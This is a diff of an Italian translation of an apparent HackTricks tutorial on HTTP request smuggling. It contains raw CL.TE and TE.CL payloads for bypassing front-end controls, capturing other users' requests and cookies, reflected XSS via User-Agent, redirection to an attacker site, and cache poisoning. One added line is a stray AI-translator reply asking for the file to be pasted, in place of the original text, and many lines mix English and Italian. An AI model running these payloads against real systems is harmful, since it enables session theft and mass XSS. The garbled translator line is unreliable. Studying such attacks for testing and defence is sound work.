-- **Impatto Utente Non Intenzionale:** Se il tuo attacco influisce involontariamente sulla richiesta di un altro utente (non la richiesta "normale" che hai inviato per la rilevazione), questo indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero interrompere altri utenti, richiedendo un approccio cauto.
+- **Connessioni di rete distinte:** Le richieste "attack" e "normal" dovrebbero essere inviate su connessioni di rete separate. Utilizzare la stessa connessione per entrambe non valida la presenza della vulnerabilità.
+- **URL e parametri coerenti:** Cerca di usare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a specifici back-end in base a URL e parametri. Farle corrispondere aumenta la probabilità che entrambe siano processate dallo stesso server, condizione necessaria per un attacco riuscito.
+- **Tempi e condizioni di race:** La richiesta "normal", pensata per rilevare l'interferenza dalla richiesta "attack", compete con altre richieste concorrenti dell'applicazione. Pertanto invia la richiesta "normal" immediatamente dopo quella "attack". Applicazioni molto trafficate potrebbero richiedere più tentativi per una conferma conclusiva della vulnerabilità.
+- **Sfide del load balancing:** I front-end che agiscono come load balancer possono distribuire le richieste su diversi sistemi back-end. Se le richieste "attack" e "normal" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico può richiedere diversi tentativi per confermare una vulnerabilità.
+- **Impatto involontario sugli utenti:** Se il tuo attacco influisce involontariamente sulla richiesta di un altro utente (non sulla richiesta "normal" che hai inviato per il rilevamento), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero perturbare altri utenti, richiedendo un approccio cauto.
 
-## Distinguere gli artefatti di pipelining HTTP/1.1 da un vero request smuggling
+## Distinguere artefatti di pipelining HTTP/1.1 da genuine request smuggling
 
-Il riutilizzo della connessione (keep-alive) e il pipelining possono facilmente produrre illusioni di "smuggling" negli strumenti di test che inviano più richieste sullo stesso socket. Impara a separare artefatti innocui lato client da veri desync lato server.
+Il riuso della connessione (keep-alive) e il pipelining possono facilmente produrre illusioni di "smuggling" negli strumenti di testing che inviano più richieste sullo stesso socket. Impara a separare artefatti innocui lato client da una reale desincronizzazione lato server.
 
 ### Perché il pipelining crea falsi positivi classici
 
-HTTP/1.1 riutilizza una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining, il client invia più richieste una dopo l'altra e si affida a risposte in ordine. Un falso positivo comune è inviare due volte un payload malformato in stile CL.0 su una singola connessione:
+HTTP/1.1 riutilizza una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining il client invia più richieste una dopo l'altra e si affida a risposte in ordine. Un falso positivo comune è reinviare un payload malformato in stile CL.0 due volte sulla stessa connessione:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -292,7 +294,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Le risposte possono apparire come:
+Non hai fornito il contenuto del file src/pentesting-web/http-request-smuggling/README.md. Per favore incolla qui il testo che vuoi tradurre in italiano (manterrò intatta la sintassi markdown/html, i tag e i link).
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -306,7 +308,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Se il server ha ignorato il `Content_Length` malformato, non c'è desync FE↔BE. Con il riutilizzo, il tuo client ha effettivamente inviato questo byte-stream, che il server ha interpretato come due richieste indipendenti:
+Se il server ha ignorato il `Content_Length` malformato, non c'è FE↔BE desync. Con reuse, il tuo client ha effettivamente inviato questo byte-stream, che il server ha interpretato come due richieste indipendenti:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -320,78 +322,78 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impatto: nessuno. Hai semplicemente desincronizzato il tuo client dal framing del server.
+Impact: none. You just desynced your client from the server framing.
 
 > [!TIP]
-> Moduli Burp che dipendono dal riutilizzo/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "HTTP/1 connection reuse", Repeater "Invia gruppo in sequenza (connessione singola)" o "Abilita riutilizzo della connessione".
+> Moduli di Burp che dipendono da reuse/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
 
-### Test di litmus: pipelining o vera desync?
+### Litmus tests: pipelining or real desync?
 
-1. Disabilita il riutilizzo e ripeti il test
-- In Burp Intruder/Repeater, disattiva il riutilizzo HTTP/1 e evita "Invia gruppo in sequenza".
+1. Disable reuse and re-test
+- In Burp Intruder/Repeater, disattiva HTTP/1 reuse ed evita "Send group in sequence".
 - In Turbo Intruder, imposta `requestsPerConnection=1` e `pipeline=False`.
-- Se il comportamento scompare, era probabilmente un pipelining lato client, a meno che tu non stia trattando con obiettivi bloccati dalla connessione/stateless o desync lato client.
-2. Controllo della risposta annidata HTTP/2
-- Invia una richiesta HTTP/2. Se il corpo della risposta contiene una risposta HTTP/1 annidata completa, hai dimostrato un bug di parsing/desync del backend invece di un puro artefatto client.
-3. Prova di richieste parziali per front-end bloccati dalla connessione
-- Alcuni FE riutilizzano solo la connessione BE upstream se il client ha riutilizzato la propria. Usa richieste parziali per rilevare il comportamento del FE che rispecchia il riutilizzo del client.
-- Vedi PortSwigger "Browser‑Powered Desync Attacks" per la tecnica bloccata dalla connessione.
-4. Prove di stato
-- Cerca differenze tra la prima richiesta e le richieste successive sulla stessa connessione TCP (routing/validazione della prima richiesta).
-- Burp "HTTP Request Smuggler" include una prova di stato della connessione che automatizza questo.
-5. Visualizza il wire
-- Usa l'estensione Burp "HTTP Hacker" per ispezionare la concatenazione e il framing dei messaggi direttamente mentre sperimenti con il riutilizzo e le richieste parziali.
+- Se il comportamento scompare, era probabilmente pipelining lato client, a meno che non ti trovi di fronte a target connection-locked/stateful o a desync lato client.
+2. HTTP/2 nested-response check
+- Invia una request HTTP/2. Se il body della response contiene una completa nested HTTP/1 response, hai dimostrato un bug di parsing/desync lato backend invece di un puro artefatto client.
+3. Partial-requests probe for connection-locked front-ends
+- Alcuni FE riutilizzano la connessione upstream al BE solo se il client ha riutilizzato la sua. Usa partial-requests per rilevare un comportamento del FE che rispecchia il reuse del client.
+- Vedi PortSwigger "Browser‑Powered Desync Attacks" per la tecnica connection-locked.
+4. State probes
+- Cerca differenze tra prima e richieste successive sulla stessa connessione TCP (routing/validazione della first-request).
+- Burp "HTTP Request Smuggler" include una connection‑state probe che automatizza questo controllo.
+5. Visualize the wire
+- Usa l'estensione Burp "HTTP Hacker" per ispezionare concatenazione e framing dei messaggi direttamente mentre sperimenti con reuse e partial requests.
 
-### Smuggling di richieste bloccato dalla connessione (riutilizzo richiesto)
+### Connection‑locked request smuggling (reuse-required)
 
-Alcuni front-end riutilizzano solo la connessione upstream quando il client riutilizza la propria. Esiste un vero smuggling ma è condizionato al riutilizzo lato client. Per distinguere e dimostrare l'impatto:
-- Prova il bug lato server
-- Usa il controllo della risposta annidata HTTP/2, oppure
-- Usa richieste parziali per mostrare che il FE riutilizza solo upstream quando lo fa il client.
-- Mostra un impatto reale anche se l'abuso diretto del socket cross-user è bloccato:
-- Avvelenamento della cache: avvelena le cache condivise tramite la desync in modo che le risposte influenzino altri utenti.
-- Divulgazione di intestazioni interne: rifletti le intestazioni iniettate dal FE (ad es., intestazioni di auth/trust) e pivot per bypassare l'autenticazione.
-- Bypass dei controlli FE: smuggla percorsi/metodi riservati oltre il front-end.
-- Abuso dell'intestazione host: combina con stranezze di routing host per pivotare verso vhosts interni.
-- Flusso di lavoro dell'operatore
-- Riproduci con riutilizzo controllato (Turbo Intruder `requestsPerConnection=2`, o gruppo tab Burp Repeater → "Invia gruppo in sequenza (connessione singola)").
-- Quindi collega a primitive di avvelenamento della cache/intestazione-leak/bypass-controllo e dimostra l'impatto cross-user o di autorizzazione.
+Alcuni front-end riutilizzano la connessione upstream solo quando il client riutilizza la sua. Lo smuggling reale esiste ma è condizionato dal reuse lato client. Per distinguere e dimostrare l'impatto:
+- Dimostra il bug lato server
+- Usa il controllo HTTP/2 nested-response, oppure
+- Usa partial-requests per mostrare che il FE riutilizza upstream solo quando lo fa il client.
+- Mostra un impatto reale anche se l'abuso diretto di socket cross-user è bloccato:
+- Cache poisoning: avvelena cache condivise tramite il desync in modo che le risposte influenzino altri utenti.
+- Internal header disclosure: rifletti header iniettati dal FE (es. auth/trust headers) e pivot verso auth bypass.
+- Bypass FE controls: smuggle percorsi/metodi restritti oltre il front-end.
+- Host-header abuse: combina con quirks di host routing per pivotare verso vhost interni.
+- Operator workflow
+- Riproduci con reuse controllato (Turbo Intruder `requestsPerConnection=2`, o Burp Repeater tab group → "Send group in sequence (single connection)").
+- Poi effettua la catena verso primitive di cache/header-leak/control-bypass e dimostra impatto cross-user o di autorizzazione.
 
-> Vedi anche attacchi di stato della connessione, che sono strettamente correlati ma non tecnicamente smuggling:
+> See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
 >{{#endref}}
 
-### Vincoli di desync lato client
+### Client‑side desync constraints
 
-Se stai mirando a desync lato client/browser, la richiesta malevola deve essere inviabile da un browser cross-origin. I trucchi di offuscamento delle intestazioni non funzioneranno. Concentrati su primitive raggiungibili tramite navigazione/fetch, e poi pivot per avvelenamento della cache, divulgazione delle intestazioni o bypass dei controlli del front-end dove i componenti downstream riflettono o memorizzano le risposte.
+Se punti a browser-powered/client-side desync, la request maligna deve poter essere inviata da un browser cross-origin. I trucchi di header obfuscation non funzioneranno. Concentrati su primitive raggiungibili tramite navigation/fetch, e poi pivot verso cache poisoning, header disclosure, o front-end control bypass dove componenti downstream riflettono o cachano le risposte.
 
-Per background e flussi di lavoro end-to-end:
+Per background e workflow end-to-end:
 
 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}
 
-### Strumenti per aiutare a decidere
+### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): espone il comportamento HTTP a basso livello e la concatenazione dei socket.
-- "Smuggling o pipelining?" Azione personalizzata Burp Repeater: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
-- Turbo Intruder: controllo preciso sul riutilizzo della connessione tramite `requestsPerConnection`.
-- Burp HTTP Request Smuggler: include una prova di stato della connessione per individuare il routing/validazione della prima richiesta.
+- HTTP Hacker (Burp BApp Store): espone comportamento HTTP a basso livello e concatenazione di socket.
+- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
+- Turbo Intruder: controllo preciso sul connection reuse tramite `requestsPerConnection`.
+- Burp HTTP Request Smuggler: include una connection‑state probe per identificare routing/validazione della first‑request.
 
 > [!NOTE]
-> Tratta gli effetti di solo riutilizzo come non problematici a meno che tu non possa dimostrare una desync lato server e allegare un impatto concreto (artefatto di cache avvelenato, intestazione interna trapelata che consente il bypass dei privilegi, controllo FE bypassato, ecc.).
+> Considera gli effetti legati solo al reuse come non-issue a meno che tu non possa provare un desync lato server e collegare un impatto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, ecc.).
 
-## Abusare dello Smuggling di Richieste HTTP
+## Abusing HTTP Request Smuggling
 
-### Eludere la Sicurezza del Front-End tramite Smuggling di Richieste HTTP
+### Circumventing Front-End Security via HTTP Request Smuggling
 
-A volte, i proxy del front-end applicano misure di sicurezza, scrutinando le richieste in arrivo. Tuttavia, queste misure possono essere eluse sfruttando lo Smuggling di Richieste HTTP, consentendo l'accesso non autorizzato a endpoint riservati. Ad esempio, l'accesso a `/admin` potrebbe essere vietato esternamente, con il proxy del front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe trascurare di ispezionare le richieste incorporate all'interno di una richiesta HTTP smuggled, lasciando una scappatoia per bypassare queste restrizioni.
+A volte i proxy front-end applicano misure di sicurezza, esaminando le richieste in ingresso. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, consentendo accesso non autorizzato a endpoint riservati. Per esempio, l'accesso a `/admin` potrebbe essere proibito dall'esterno, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy può disattendere l'ispezione delle richieste incorporate all'interno di una HTTP Request Smuggling, lasciando una falla per aggirare tali restrizioni.
 
-Considera i seguenti esempi che illustrano come lo Smuggling di Richieste HTTP può essere utilizzato per bypassare i controlli di sicurezza del front-end, specificamente mirati al percorso `/admin` che è tipicamente protetto dal proxy del front-end:
+Considera i seguenti esempi che illustrano come HTTP Request Smuggling può essere usato per bypassare i controlli di sicurezza del front-end, prendendo di mira specificamente il percorso `/admin` che è tipicamente protetto dal proxy front-end:
 
-**Esempio CL.TE**
+**CL.TE Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -408,9 +410,9 @@ Content-Length: 10
 
 x=
 ```
-Nell'attacco CL.TE, l'intestazione `Content-Length` viene sfruttata per la richiesta iniziale, mentre la successiva richiesta incorporata utilizza l'intestazione `Transfer-Encoding: chunked`. Il proxy front-end elabora la richiesta `POST` iniziale ma non riesce a ispezionare la richiesta `GET /admin` incorporata, consentendo l'accesso non autorizzato al percorso `/admin`.
+Nell'attacco CL.TE, l'intestazione `Content-Length` viene sfruttata per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l'intestazione `Transfer-Encoding: chunked`. Il proxy front-end elabora la richiesta `POST` iniziale ma non riesce a ispezionare la richiesta incorporata `GET /admin`, consentendo l'accesso non autorizzato al percorso `/admin`.
 
-**Esempio TE.CL**
+**TE.CL Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -426,13 +428,13 @@ a=x
 0
 
 ```
-Al contrario, nell'attacco TE.CL, la richiesta iniziale `POST` utilizza `Transfer-Encoding: chunked`, e la successiva richiesta incorporata viene elaborata in base all'intestazione `Content-Length`. Simile all'attacco CL.TE, il proxy front-end ignora la richiesta `GET /admin` contrabbandata, concedendo involontariamente accesso al percorso riservato `/admin`.
+Al contrario, nell'attacco TE.CL, la richiesta iniziale `POST` utilizza `Transfer-Encoding: chunked`, e la successiva richiesta incorporata viene processata in base all'intestazione `Content-Length`. Analogamente all'attacco CL.TE, il front-end proxy ignora la smuggled `GET /admin` request, concedendo involontariamente l'accesso al percorso riservato `/admin`.
 
-### Rivelazione della riscrittura delle richieste front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Rivelare la riscrittura delle richieste sul front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Le applicazioni spesso impiegano un **server front-end** per modificare le richieste in arrivo prima di passarle al server back-end. Una modifica tipica comporta l'aggiunta di intestazioni, come `X-Forwarded-For: <IP del client>`, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypassare le protezioni** o **scoprire informazioni o endpoint nascosti**.
+Le applicazioni spesso impiegano un **front-end server** per modificare le richieste in ingresso prima di inoltrarle al **back-end server**. Una modifica tipica consiste nell'aggiungere header, ad esempio `X-Forwarded-For: <IP of the client>`, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypass protections** o **uncover concealed information or endpoints**.
 
-Per indagare su come un proxy altera una richiesta, individua un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
+Per indagare come un proxy altera una richiesta, individua un parametro POST che il back-end riflette nella risposta. Poi costruisci una richiesta, usando questo parametro per ultimo, simile alla seguente:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -449,19 +451,19 @@ Content-Length: 100
 
 search=
 ```
-In questa struttura, i componenti della richiesta successiva vengono aggiunti dopo `search=`, che è il parametro riflesso nella risposta. Questa riflessione esporrà le intestazioni della richiesta successiva.
+In questa struttura, i componenti delle request successive vengono aggiunti dopo `search=`, che è il parameter riflesso nella response. Questa reflection esporrà gli headers della request successiva.
 
-È importante allineare l'intestazione `Content-Length` della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e incrementare gradualmente, poiché un valore troppo basso truncherà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.
+È importante allineare l'header `Content-Length` della request annidata con la lunghezza effettiva del contenuto. È consigliabile partire da un valore piccolo e incrementarlo gradualmente, perché un valore troppo basso troncherà i dati riflessi, mentre uno troppo alto può far fallire la request.
 
-Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.
+Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la request dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parameter search.
 
-Questo metodo serve principalmente a comprendere le modifiche alla richiesta effettuate dal proxy front-end, eseguendo essenzialmente un'indagine autodiretta.
+Questo metodo serve principalmente a capire le modifiche alle request effettuate dal front-end proxy, svolgendo essenzialmente un'indagine autonoma.
 
-### Catturare le richieste di altri utenti <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-È possibile catturare le richieste dell'utente successivo aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:
+È possibile catturare le request dell'utente successivo apponendo una request specifica come valore di un parameter durante un'operazione POST. Ecco come può essere realizzato:
 
-Aggiungendo la seguente richiesta come valore di un parametro, puoi memorizzare la richiesta del cliente successivo:
+Appendendo la seguente request come valore di un parameter, puoi memorizzare la request del client successivo:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-In questo scenario, il **parametro commento** è destinato a memorizzare i contenuti all'interno della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.
+In questo scenario, il **comment parameter** è pensato per memorizzare i contenuti della sezione commenti di un post su una pagina pubblica. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.
 
-Tuttavia, questa tecnica ha delle limitazioni. In generale, cattura i dati solo fino al delimitatore del parametro utilizzato nella richiesta smuggled. Per le sottomissioni di moduli codificati in URL, questo delimitatore è il carattere `&`. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo `&`, che potrebbe anche far parte della stringa di query.
+Tuttavia, questa tecnica ha delle limitazioni. Generalmente cattura i dati solo fino al delimitatore del parametro usato nella smuggled request. Per le sottomissioni di form codificate in URL, questo delimitatore è il carattere `&`. Questo significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo `&`, che potrebbe anche far parte della query string.
 
-Inoltre, vale la pena notare che questo approccio è anche valido con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe concludersi con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.
+Inoltre, vale la pena notare che questo approccio funziona anche in presenza di una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parametro search.
 
-### Utilizzare l'HTTP request smuggling per sfruttare il XSS riflesso
+### Using HTTP request smuggling to exploit reflected XSS
 
-L'HTTP Request Smuggling può essere sfruttato per attaccare pagine web vulnerabili a **Reflected XSS**, offrendo vantaggi significativi:
+HTTP Request Smuggling può essere sfruttato per attaccare pagine web vulnerabili a **Reflected XSS**, offrendo vantaggi significativi:
 
-- L'interazione con gli utenti target **non è necessaria**.
-- Consente di sfruttare il XSS in parti della richiesta che sono **normalmente inaccessibili**, come le intestazioni delle richieste HTTP.
+- L'interazione con gli utenti target **non è richiesta**.
+- Consente lo sfruttamento di XSS in parti della richiesta che sono **normalmente irraggiungibili**, come HTTP request headers.
 
-In scenari in cui un sito web è suscettibile a Reflected XSS attraverso l'intestazione User-Agent, il seguente payload dimostra come sfruttare questa vulnerabilità:
+In scenari in cui un sito web è suscettibile a Reflected XSS tramite il User-Agent header, il seguente payload dimostra come sfruttare questa vulnerabilità:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -515,26 +517,26 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-Questo payload è strutturato per sfruttare la vulnerabilità tramite:
+Questo payload è strutturato per sfruttare la vulnerabilità attraverso:
 
-1. Iniziare una richiesta `POST`, apparentemente tipica, con un'intestazione `Transfer-Encoding: chunked` per indicare l'inizio dello smuggling.
-2. Seguire con un `0`, che segna la fine del corpo del messaggio chunked.
-3. Poi, viene introdotta una richiesta `GET` smuggled, dove l'intestazione `User-Agent` è iniettata con uno script, `<script>alert(1)</script>`, attivando l'XSS quando il server elabora questa richiesta successiva.
+1. Iniziare una richiesta `POST`, apparentemente tipica, con un header `Transfer-Encoding: chunked` per indicare l'inizio dello smuggling.
+2. Seguire con un `0`, marcando la fine del body chunked.
+3. Poi viene introdotta una richiesta smuggled `GET`, dove l'header `User-Agent` viene iniettato con uno script, `<script>alert(1)</script>`, che attiva l'XSS quando il server elabora questa richiesta successiva.
 
-Manipolando il `User-Agent` tramite smuggling, il payload bypassa i normali vincoli delle richieste, sfruttando così la vulnerabilità XSS Riflessa in modo non standard ma efficace.
+Manipolando il `User-Agent` tramite smuggling, il payload bypassa i normali vincoli delle richieste, sfruttando così la vulnerabilità di Reflected XSS in modo non standard ma efficace.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> Nel caso in cui il contenuto dell'utente venga riflesso in una risposta con un **`Content-type`** come **`text/plain`**, impedendo l'esecuzione dell'XSS. Se il server supporta **HTTP/0.9 potrebbe essere possibile bypassare questo**!
+> Nel caso il contenuto utente venga riflesso in una risposta con un **`Content-type`** come **`text/plain`**, impedendo l'esecuzione dell'XSS. Se il server supporta **HTTP/0.9 potrebbe essere possibile aggirare questo**!
 
-La versione HTTP/0.9 era precedente alla 1.0 e utilizza solo verbi **GET** e **non** risponde con **intestazioni**, solo il corpo.
+La versione HTTP/0.9 precedeva la 1.0 e usa solo i verbi **GET** e **non** risponde con **headers**, solo il body.
 
-In [**questo writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con uno smuggling di richieste e un **endpoint vulnerabile che risponderà con l'input dell'utente** per smuggler una richiesta con HTTP/0.9. Il parametro che verrà riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con intestazioni e corpo)** in modo che la risposta contenga codice JS eseguibile valido con un `Content-Type` di `text/html`.
+In [**this writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con un request smuggling e un endpoint **vulnerable endpoint that will reply with the input of the user** per smuggleare una richiesta con HTTP/0.9. Il parametro che viene riflesso nella risposta conteneva una **fake HTTP/1.1 response (with headers and body)** quindi la risposta conterrà codice JS eseguibile valido con un `Content-Type` di `text/html`.
 
-### Sfruttare i reindirizzamenti in loco con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Sfruttare i redirect on-site con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Le applicazioni spesso reindirizzano da un URL a un altro utilizzando il nome host dall'intestazione `Host` nell'URL di reindirizzamento. Questo è comune con server web come Apache e IIS. Ad esempio, richiedere una cartella senza una barra finale risulta in un reindirizzamento per includere la barra:
+Le applicazioni spesso reindirizzano da un URL a un altro usando il nome host dall'header `Host` nell'URL di redirect. Questo è comune con web server come Apache e IIS. Per esempio, richiedere una cartella senza la slash finale provoca un redirect per includere la slash:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@@ -544,7 +546,7 @@ Risultati in:
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Sebbene apparentemente innocuo, questo comportamento può essere manipolato utilizzando HTTP request smuggling per reindirizzare gli utenti a un sito esterno. Ad esempio:
+Sebbene apparentemente innocuo, questo comportamento può essere manipolato usando HTTP request smuggling per reindirizzare gli utenti a un sito esterno. Per esempio:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -558,7 +560,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Questa richiesta di contrabbando potrebbe causare la reindirizzazione della prossima richiesta utente elaborata a un sito web controllato dall'attaccante:
+Questa smuggled request potrebbe far sì che la prossima user request elaborata venga reindirizzata a un attacker-controlled website:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -572,15 +574,15 @@ Location: https://attacker-website.com/home/
 ```
 In questo scenario, la richiesta di un utente per un file JavaScript viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript malevolo in risposta.
 
-### Sfruttare il Web Cache Poisoning tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Sfruttare Web Cache Poisoning tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Il web cache poisoning può essere eseguito se qualsiasi componente dell'**infrastruttura front-end memorizza nella cache i contenuti**, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile **avvelenare la cache**.
+Il Web cache poisoning può essere eseguito se qualsiasi componente della **infrastruttura front-end memorizza nella cache il contenuto**, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile **poison the cache**.
 
-In precedenza, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento a [Esempi di Base](#basic-examples)). Allo stesso modo, è possibile ingannare il server per consegnare il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti, potenzialmente portando a un Denial of Service (DoS).
+In precedenza, abbiamo osservato come le risposte del server possano essere modificate per restituire un errore 404 (vedi [Basic Examples](#basic-examples)). Analogamente, è possibile ingannare il server per far sì che fornisca il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti e potenzialmente causando un Denial of Service (DoS).
 
-Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Open Redirect** o se c'è un **reindirizzamento in loco a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, abilitando essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato.
+Questa tecnica diventa particolarmente potente se viene scoperta una **Open Redirect vulnerability** o se esiste un **on-site redirect to an open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script controllato dall'attaccante, consentendo di fatto un ampio attacco **Cross-Site Scripting (XSS)** contro tutti i client che richiedono il `/static/include.js` aggiornato.
 
-Di seguito è riportata un'illustrazione di sfruttamento del **cache poisoning combinato con un reindirizzamento in loco a un open redirect**. L'obiettivo è alterare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
+Di seguito un'illustrazione dello sfruttamento di **cache poisoning combined with an on-site redirect to open redirect**. L'obiettivo è alterare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -598,20 +600,20 @@ Content-Length: 10
 
 x=1
 ```
-Nota la richiesta incorporata che mira a `/post/next?postId=3`. Questa richiesta verrà reindirizzata a `/post?postId=4`, utilizzando il **valore dell'intestazione Host** per determinare il dominio. Alterando il **valore dell'intestazione Host**, l'attaccante può reindirizzare la richiesta al proprio dominio (**reindirizzamento in loco a reindirizzamento aperto**).
+Nota la richiesta incorporata che mira a `/post/next?postId=3`. Questa richiesta verrà reindirizzata a `/post?postId=4`, utilizzando il **Host header value** per determinare il dominio. Alterando il **Host header**, l'attaccante può reindirizzare la richiesta al proprio dominio (**on-site redirect to open redirect**).
 
-Dopo un **avvelenamento del socket** riuscito, dovrebbe essere avviata una **richiesta GET** per `/static/include.js`. Questa richiesta sarà contaminata dalla precedente richiesta di **reindirizzamento in loco a reindirizzamento aperto** e recupererà il contenuto dello script controllato dall'attaccante.
+Dopo un **socket poisoning** riuscito, dovrebbe essere avviata una **GET request** per `/static/include.js`. Questa richiesta sarà contaminata dalla precedente richiesta di **on-site redirect to open redirect** e recupererà il contenuto dello script controllato dall'attaccante.
 
-Successivamente, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato nella cache dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.
+In seguito, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato nella cache dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.
 
-### Utilizzare l'HTTP request smuggling per eseguire la web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
-> **Qual è la differenza tra avvelenamento della cache web e inganno della cache web?**
+> **Qual è la differenza tra web cache poisoning e web cache deception?**
 >
